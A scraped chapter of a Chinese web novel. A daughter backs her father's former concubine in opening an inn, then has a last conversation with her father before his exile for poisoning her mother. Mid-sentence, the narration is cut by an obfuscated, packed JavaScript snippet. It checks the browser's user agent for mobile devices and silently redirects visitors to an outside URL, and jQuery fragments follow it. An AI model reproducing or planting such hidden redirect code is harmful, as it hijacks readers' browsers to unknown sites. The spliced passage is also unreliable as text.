41. 天光云影共徘徊

作品:《春意不晚

    吴锦婳自国公府回到兖州府后,才知道父亲的判决早已下达,因有陆懋的吩咐,父亲倒并没有受到什么责打欺凌,接着便是和燕姨娘一起帮父亲预备好了上路用得到各式物件。


    也要打点上下,拜托押解父亲的衙役们在路上能对父亲多加照顾,幸好家中还有燕姨娘在,家中的私产不至于全部都被吴太老爷收刮走。


    在父亲上路之前,吴锦婳询问燕姨娘往后的安排,“姨娘,你若是想要离开,我也可以帮你安排好未来的生活,或者您想要再嫁,吴家也可以为你出嫁妆银子。”


    燕姨娘笑了笑,“难为姑娘小小的年纪竟也要操心大人的事情不成,其实不怕与姑娘讲,前几日我双亲确实来找过我,望我归家再嫁个好人家,当个正室娘子,可其实我早已心如死灰,当初出于与老爷的青梅竹马情意,我死活嫁给了他当个妾室,可情爱不过两三年,得到也就被抛下,我也不怨他,这不过是人之常情。”


    可她啊,却不想再让自己陷入这样的境地里!燕姨娘笑得凄凄,“我自从被你父亲纳进了府,就多受太太的照拂,如今吴家落了难,我怎么可以丢下姑娘一人面对,你一个姑娘家又该如何在这个财狼虎豹的世道里护住自己?我总得为太太照顾好你。”


    吴锦婳真诚一笑,“嗯,姨娘愿意留下我自然感激不尽,但若那一天姨娘得遇了良人,抑或之您有了自己想要过的生活,锦婳也自当出钱出力支持您。”


    燕姨娘却眸眼一闪,犹豫再三,才缓缓地与她说了一句,“姑娘既然这么说,那妾便也大胆与姑娘言明。”


    “当然,姨娘但说无妨!”


    燕姨娘点了点头,“我想着咱们如今咱家也不敢不再是官家的身份,虽家中还有些恒产,但到底不是长久之计,坐吃山空没有个营生也不是个办法,姑娘也知道的,妾娘家出于商贾,所以妾时时都在计算。”


    “您知道兖州府虽属偏僻之处,但无论水路官道也算四通八代,路过经此地的旅人众多,所以妾想着不如咱们收回城中租出去几处的商铺,开一家歇脚的旅店,姑娘觉得如何?”


    吴锦婳微蹙了蹙眉,问道:“姨娘是想自己去经营一家旅店?”


    燕姨娘有些胆怯地看了看她,“姑娘是觉着不好吗?”也是,毕竟哪有家中妾室抛头露面出去经商做营生的,燕姨娘神情有些失望,敛眉低眼的耷拉了下来。


    吴锦婳却坚定地摇了摇头,“不是的,姨娘,我觉着您有此想法也挺好,只是怕你是为着吴家才强迫自己出去做此营生……”


    “姑娘,”燕姨娘抢白道:“妾并非只为了吴家和您,其实这也是我想了很多很多年,想要去做的事,只是以往无法实现!但我知道姑娘绝非拘泥于世俗之见之人,所以我才在此时提出!”


    吴锦婳笑着拍了拍她的手,安抚道:“所以,姨娘先听我说完,我想说的是,但如果姨娘是出于自己的意愿,那我便不觉得这又什么不可为的。”


    “只是,”她担忧地看着燕姨娘,“姨娘,我虽支持您去做您想做的事情,但终究咱们还是要面对现实,你一人在外经商,怕还是太危险了,您可有什么计划或者做了什么筹谋?”


    燕姨娘一刹那间,露出来五味杂陈却又极其释怀的笑意,“多谢姑娘的支持,其实留在吴家还有一部分原因也在此,我前几日便已猜到,您定然会问我将来的打算,也曾与父母言明我的想法,可家中双亲总觉着女子嫁人生活才算安稳,所有并不同意,我自来是知道姑娘的性情,我想,在整个大顺朝中,您恐怕是唯一一个愿意支持我的人了。”


    吴锦婳笑着默默倾听着,并未插嘴多言。


    “妾当然知道按照如今的世道,女子想要独自出门做生意有多难,可我想要去试一试,我自小在商户中长大,也熟悉这些商家往来的事宜。”燕姨娘笑得有些羞怯,又有些明朗快意。


    她接着说道:“我想着再聘用家中刚刚被遣散而去的林管事和厨房的李婆子两家子人,我也询问过他们的意思,他是极乐意的,大家都相处了十几年,大家都熟络各自的性情,他们如今缺了谋生的门路,对我的提议也自是感激不尽的。也解决了我再去外面聘请外人的烦恼,姑娘,觉着妾这般思虑可还妥当?”


    吴锦婳这才笑着点了点头,“既然姨娘已然想得如此周到,那我也便不再多问,我愿意支持姨娘去做姨娘想做之事。”


    “我明日让人去收回城中心的那间茶楼商铺,上下一并打通,开个客栈兼饭馆也是绰绰有余的了,何况家中虽无太多钱财,但几千两银子还是拿的出来的,好好装修一下店面,加上各项日常开支也尽足够的。”


    “真的?姑娘愿意支持让我去做此事?”燕姨娘惊喜的眼睛都发着光。


    吴锦婳微笑颔首,“嗯,姨娘尽管大胆地去做吧!”


    “不过,”她又言道:“虽父亲过几日便要被流放至云南永昌卫服劳役,此事也该告知他一声才是,姨娘且在此等一等我,我也该去见一见他了。”


    燕姨娘点了点头,“是,多亏姑娘您打点上下,官府才特意放老爷回家几日收拾路上的行装,妾想着您定然也想再见一见老爷的,只是此事毕竟是妾自作主张而为,妾也该同您一起去,便在门外等着姑娘就是。”


    “好。”


    -


    吴锦婳坐在吴哲书房的一侧,自从她母亲去世以后,吴哲便再也不愿意住在主屋,便是前几日从牢里归家,也一直是在书房的偏房里将就住着。


    她坐在他的对面,父女俩自那时起,便已有一年未见,如今再次相见,两人都忽有两世之感,早已是物是人非,如今他们爷都不知该与对方说些什么,两人默然而坐,都似乎在等着对方先开口。


    吴锦婳深深叹了一口气,看着眼前这个人,“父亲,您……路上我都打点好了,他们也言明,去到永昌卫必定不会给您安排太重的劳役,十年苦役……也算是您害母亲性命的一点惩罚吧。”


    吴哲睁着眼睛望向门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046047|159409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口,听到吴锦婳说话的声音才匆忙回头看她,“我知道,妙妙……你恨我吗?你如果……”


    “我不恨你,我也不恨母亲,不恨皇太孙殿下,不恨……我谁都不恨,这都是你们自己都选择,与我何干?你们自有你们自己要承担的结果,我为何要这些事揽到我自己的身上,承担你们的罪孽?”吴锦婳很冷漠、很清醒、很理智也很无情。


    吴哲却欣慰地笑了,“那就好!往后你要好好的,照顾好自己,嫁人……若是因我之顾,不能嫁的好人家,便用家中资财招婿也可,都随你。”


    吴锦婳还是淡淡地道:“父亲不必替我操心,您此去自己珍重罢。”


    “好……”


    “父亲,”她看向他,直勾勾地看着,“您后悔了吗?”


    吴哲愣了愣,“后悔什么?后悔毒杀你娘?后悔娶你娘?还是后悔这一生?我后悔莫及。”


    吴哲狠狠地叹了一口气,望向书房外的那棵西府海棠,一树盛开的花,“你看,今年花又开了一树,当年我进京赶考,应同窗邀约到西山寺赏花,也是这是时节,也是这一树的西府海棠,我看见了你娘,你知道她有多美吗?一袭豆绿色衣裙,与风翩翩而舞,我一眼便被迷住了。”


    他飘飘然地问同窗,那姑娘是谁家闺秀,他想着凭着英国公的关系,拼了自身功名,也未尝不可……


    可同窗却嗤笑道,你可知你眼前的那个姑娘是谁,你便敢如此厚颜无耻直勾勾地看着人家,她可是内阁首辅的嫡长孙女,内定的皇太孙妃,也是你敢肖想的。


    可没想到一朝乾坤颠倒,所有的事都不一样了,那个落了魄的林首辅找到了在英国公府外院寄住的他,问他,你可愿、可敢娶我孙女?


    他敢!


    那时的他觉得自己所向披靡,傲慢地认为自己前程无可限量,觉得自己就像是个盖世英雄搭救了落魄的心上人一般勇敢。


    可世事多变迁,再后来他知道心上之人心上已有人,还是一个他永远都无法企及之人,他感到羞辱和嫉妒。


    所以他找到了青梅竹马的燕姨娘,装出一副深情的模样,要她成全自己,但其中他其实只是想要知道她会不会嫉妒吃醋,可她却竟然松了一口气,她松了一口气,欣然地为他忙前忙后纳了妾。


    无妨,反正她自始至终都是属于他的,他真的也打算就这样下去,可是她偏偏不肯放过他,不仅去私会那人。


    还把那要命的衣带诏偷偷私藏了几年却从不告诉他,甚至她为了那个人的安危,全然不顾一切,不顾他不顾他们的女儿,毅然决然地带着他们吴家去赴死一般的帮那个人。


    在那一刻,他真的怨她,真的恨她,而这个怨恨埋在心里,如同千万根针日日刺进他的心,形成了怨毒,是啊,如果不是娶了她,他不会被下放在这偏远的兖州府一呆就是十余年,毫无晋升的机会,他的理想和抱负折戟沉沙。


    可她一点也不感激也就罢了,哪怕她愿意顾及他一点点呢!